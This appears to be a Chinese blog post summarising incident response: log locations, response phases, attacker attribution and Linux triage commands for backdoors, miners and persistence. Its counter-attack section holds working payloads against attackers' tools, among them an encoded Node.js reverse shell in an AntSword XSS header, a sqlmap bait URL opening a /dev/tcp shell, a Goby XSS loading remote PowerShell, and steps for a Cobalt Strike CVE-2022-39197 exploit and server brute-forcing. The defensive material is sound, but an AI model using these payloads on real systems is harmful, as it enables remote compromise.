应急响应小结

日志分析

Windows系统日志
日志路径:C:\Windows\System32\winevt\Logs
必看日志:Security.evtx、System.evtx、Application.evtx

Linux系统日志
日志路径:/var/log
必看日志:wtmp、secure、history

应用日志:包括但不限于Web应用等众多繁杂的日志,数据库,中间件,数据平台,cms,是个组件都有日志
安全设备日志:态势感知,IDS,IPS,EDR....

应急响应

应急响应的基本流程

收集信息:收集客户信息和中毒主机信息,包括样本。
判断类型:判断是否是安全事件,何种安全事件,勒索、挖矿、断网、DoS等等。
深入分析:日志分析(系统,流量,应用程序,安全设备,有全流量分析平台,确定攻击链)、进程分析、权限维持分析、样本分析。
清理处置:杀掉进程,删除文件,清除权限维持,打补丁,抑或是修复文件等等。
产出报告:整理并输出完整的安全事件报告。

事前

事前更多的时候是说甲方企业,在日常做的事情,需要熟悉自身的情况,做到知己
最核心的:
网络拓扑 -> IP分布、安全域的划分、能够上外网的区域、边界的访问控制等,出来一个IP就知道在哪个区域
安全设备 -> 已有的安全防御措施,waf、IPS、TIP、soc、hids、终端管控、杀毒软件 这些防御将在应急响应过程中大大提高应急效率,节省很多宝贵时间
备份情况 -> 企业是否具有备份,在处理勒索病毒时,非常有用
应急预案 -> 应急过程是高强度、争分夺秒的事情,在这种情况下很难考虑周全,因此需要事前做预案,对各种可能情况进行冷静、理智分析,包括解决方案、操作步骤、联系人员
应急演练 -> 确保应急预案可用,流程顺畅,因此 需要事前进行演练,查找预案的不足,及时进行更正,确保预案可行性

检测

怎样发现出现问题的?
- 安全监控告警(态感告警)
- 主机资源瓶颈(CPU跑满 -> 挖矿,磁盘满了->数据下载)
- 威胁情报(用户诈骗投诉电话、威胁情报告警、暗网监控)

响应

判断类型:判断是否是安全事件,何种安全事件,勒索、挖矿、断网、DoS等等。
深入分析:日志分析(系统,流量,应用程序,安全设备,有全流量分析平台,确定攻击链)、进程分析、权限维持分析、样本分析。
分析攻击链:从失陷主机开始梳理,确定完整的攻击链,攻击者的攻击手段和攻击路径

处置

真实操作中,处置与响应基本上同时进行,而且处置是止损的关键。主要操作的方法:
封锁公网IP -> 一般是攻击者的服务端公网IP地址
封域名 -> 内网dns封掉回连dns
断网 -> 网络隔离掉被感染的主机
恶意文件采样 -> 恶意文件
清理权限维持 -> 清理定时任务,启动项,服务,新增用户等

溯源(攻击者画像)

收集攻击者相关信息:
姓名/ID:
攻击IP:
地理位置:
QQ:
IP地址所属公司:
IP地址关联域名:
邮箱:
手机号:
微信/微博/src/id证明人物照片:
跳板机(可选):
关联攻击事件

手段

ip 域名
傀儡机,个人主机,vps
威胁情报
IP定位
域名备案查询,whois

手机号,邮箱
威胁情报
社工平台
百度,谷歌语法,fofa
github,gitee,开源中国,技术博客,安全圈社工
社交媒体  QQ/微信/微博/知乎/twitter等搜索

名字
百度,谷歌语法,fofa
github,gitee,开源中国,src排行,技术博客,安全圈社工
社交媒体  QQ/微信/微博/知乎/twitter等搜索

溯源反制

Webshell 工具-Antsword

原理:蚁剑支持Nodejs脚本
<?php header('HTTP/1.1 500 <img src=# οnerrοr=alert(1)>');
上线:
Nodejs 代码:
var net = require("net"), sh = require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(xx, "xx.xx.xx.xx", 
function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});
编码组合后:
header("HTTP/1.1 500 Not <img src=# οnerrοr='eval(new Buffer(`dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7CnZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVjdCgxMDA4NiwgIjQ3Ljk0LjIzNi4xMTciLCBmdW5jdGlvbigpe2NsaWVudC5waXBlKHNoLnN0ZGluKTtzaC5zdGRvdXQucGlwZShjbGllbnQpO3NoLnN0ZGVyci5waXBlKGNsaWVudCk7fSk7`,`base64`).toString())'>");

SQL 注入工具-SQLMAP
 

蓝队提前构造注入页面诱使红队进行 sqlmap 注入拿到红队机器权限
原理:
命令管道符:ping "`dir`"
构造注入点页面固定注入参数值,等待攻击者进行注入
sqlmap -u "http://47.94.236.117/test.html?id=aaa&b=`dir`"
sqlmap -u "http://47.94.236.117/test.html?id=aaa&b=`exec   /bin/sh 0</dev/tcp/47.94.236.117/2333   1>&0 2>&0`"

漏洞扫描工具-Goby

index.php
<?php header("X-Powered-By: PHP/<img src=1 οnerrοr=import(unescape('http%3A//47.94.236.117/1.js'))>");
<html>
<head>
<title>TEST</title>
</head>
<body>
testtest
</body>
</html>

1.js
(function(){require('child process').exec('calc.exe');})();
2.js上线:
(function(){require('child process').exec('powershel -nop -w hidden -encodedcommand JABXXXXXXXX(cs上线代码)');})();

CobaltStrike

对抗Cobaltstrike中的手段:
1、伪造流量批量上线(欺骗防御)
https://mp.weixin.qq.com/s/VCRg6F9Wq-yg-qajDoJuaw

2、利用漏洞(CVE-2022-39197)
Cobalt Strike<=4.7 XSS
获取真实ip地址
获取NTLM
RCE
SSRF
https://github.com/its-arun/CVE-2022-39197.
-修改EXP里面的执行命令后编译
修改:EvilJar/src/main/java/Exploit.java
-python -m http.server 8888
-修改svg加载地址并架设Web服务
修改: evil.svg 指向python打开web服务的url地址
xlink:href=“http://47.94.236.117:8888/Evilar-1.0-jar-with-dependencies.jar”
-执行EXP调用后门上线,攻击者进程查看时触发
python cve-2022-39197.py beacon.exe http://47.94.236.117:8888/evil.svg

3、反制Server,爆破密码(通用)
针对没有采用隐匿C2地址的技术导致的反制
https://github.com/ryanohoro/csbruter
python csbruter.py 47.94.236.117 pass.txt

安全事件应急

外联ip 威胁情报
对应进程,文件
取样分析,删除恶意进程和文件
杀毒软件查杀
权限维持清除

内网告警
告警说明知道具体哪台主机,漏洞类型。
利用杀毒软件查杀,清除恶意进程和文件,清除权限维持手段。
再到全流量分析的机子上看,是否有经过其他的机器,确定攻击链。
拿到攻击ip 之后威胁情报 ,肉鸡,个人主机,vps, 进行溯源。
加固,漏洞打补丁,密码泄露改密码。

如何检测webshell
外联,杀毒软件,日志(连接记录,确定ip)

linux

1.远控后门

1.事件来源,通过EDR等安全设备报警

2.下载河马等后门查杀工具,确认后门位置

3.配合威胁感知平台,确认外连ip和端口     netstat -anpt

4.查找进程信息      ps -ef

根据文件查pid
lsof | grep evil.sh
lsof /root/evil.sh

根据pid查相关文件
lsof -p 1234

systemctl status pid 获取进程status信息
ps -T -p pid   查看进程创建的线程

5.确定进程运行时间
查看进程运行时间
ps -eo pid,lstart,etime,cmd | grep <pid>

与恶意文件创建时间作对比,验证恶意文件
ls -al evil.sh

6.处理异常进程
恶意文件采样,并放在恶意文件分析平台上分析
什么类型恶意文件,目标ip,该ip是否为恶意地址等

进程查杀
kill -9 pid
kill -9 -pid 杀死整个进程组,用于systemctl status pid看到有创建线程的程序

7.删除恶意文件

解决因添加 a 或 i 属性而不能删除
chattr -a
chattr -i
8.善后阶段
add:查看日志,配合后门访问时间以及进程创建时间确定ip来源
内存马查杀:
php:删除文件后中间件重启就行

2.挖矿病毒

1.获取异常进程pid     top

2.寻找恶意文件     
lsof -p pid
systemctl status pid
ps -T -p pid

3.确定进程运行时间
与恶意文件创建时间对比

ps -eo pid,lstart,etime,cmd | grep <pid>
ls -al evil.sh

4.处理异常进程
恶意文件采样,并放在恶意文件分析平台上分析

进程查杀
kill -9 pid
kill -9 -pid

5.删除恶意文件

3.勒索病毒

1.确定病毒家族
利用勒索病毒搜索引擎和百度,从勒索病毒的外在特征,文件后缀,联系邮箱等确定

2.利用勒索病毒搜索引擎和百度,搜索解密工具
淘宝,咸鱼请高手
没办法就交钱或者重做系统

4.暴力破解

暴力破解主要针对
ssh
ftp
smtp
mysql
redis
mongodb
等等
1.检查网络连接     netstat -anpt
2.查看对应登录日志,看爆破行为
加固:加强密码复杂程度

善后阶段:

1.杀毒工具查杀
clamav
chkrootkit
Unhide
Rootkit Hunter

2.history信息
以下几种情况history信息不全

被清空或设置不记录
history -c
unset HISTORY HISTFILE HISTSAVE HISTZONE
HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export
HISTFILESIZE=0

命令前带一个空格不会记录

通过ssh远程执行的命令不会记录
ssh ubuntu@192.168.1.1 "whoami"

ssh异常中断

3.登录信息
who   当前登录用户
last -awF    显示所有登录成功信息

4.计划任务
/etc/crontab
/etc/cron.d/xx
/var/spool/cron/xxxx/xx
/etc/anacrontab (Redhat/Centos)

5.ssh后门
~/.ssh/authorized_keys 检查是否写入公钥

cat /etc/ssh/ssh_config
cat  ~/.ssh/config
检查是否写入
LocalCommand或ProxyCommand后门

ssh隧道
netstat -anpt 查看网络连接,看到22端口转发到其他端口

6.新增账户
cat /etc/passwd

7.特权账户
awk -F: '$3==0 {print $1}' /etc/passwd

8.特殊权限文件
SUID   
find / -perm /4000
GUID   find / -perm /2000

SUID和GUID   find / -perm /6000
探针 LinEnum.sh

9.启动项
systemctl list-unit-files --type=service | grep enabled
systemctl stop xx.service
systemctl disable xx.service

服务检查
列出正在运行的系统服务
systemctl list-unit-files --type=service | grep enabled
systemctl status xxx.service   查看服务进程状况
systemctl cat xxx.service   查看服务配置文件

10环境变量
env
set
export
cat /proc/$PID/environ
declare

11.bash命令
bash命令搜索顺序为,别名alias,关键字,函数,内置命令,外部命令
查看alias别名
alias
创建
alias l="ls -al"
删除
unalias l

查看函数
declare -f xx
删除恶意函数
unset -f xx

查看内置命令
compgen -b

查看内置命令的同名文件
compgen -b | grep -v -E "\.|\:" | while read line;do ls /usr/bin/$line 2>null ;
done

12.动态链接库劫持
LD_PRELOAD
echo $LD_PRELOAD
/etc/ld.so.conf

LD_LIBRARY_PATH
echo $LD_LIBRARY_PATH
/etc/ld.so.preload
13.修改域名解析记录
cat /etc/hosts

14.rookit后门检测
工具rkhunter

应急工具:

日志提取工具
七牛 Logkit

日志自动分析
Linux系统 - GScan
Windows系统 -LogonTracer
Web-360 星图&Goaccess

ELK日志分析系统

Yara工具

蜜罐平台 Hfish

HIDS-Wazuh&Elkeid-hub(linux)

IDS-Snort&Suricata
规则库:
https://github.com/al0ne/suricata-rules
https://github.com/ptresearch/AttackDetection

#打包系统:securityonion集成snort/suricata、bro(zeek)、elk、ossec等https://securityonionsolutions.com/software

参考

应急响应的整体思路和基本流程 - FreeBuf网络安全行业门户

网络安全应急响应基本流程 - 知乎 (zhihu.com)

Windows 应急响应手册v1.1-腾讯云开发者社区-腾讯云 (tencent.com)

  • 24
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值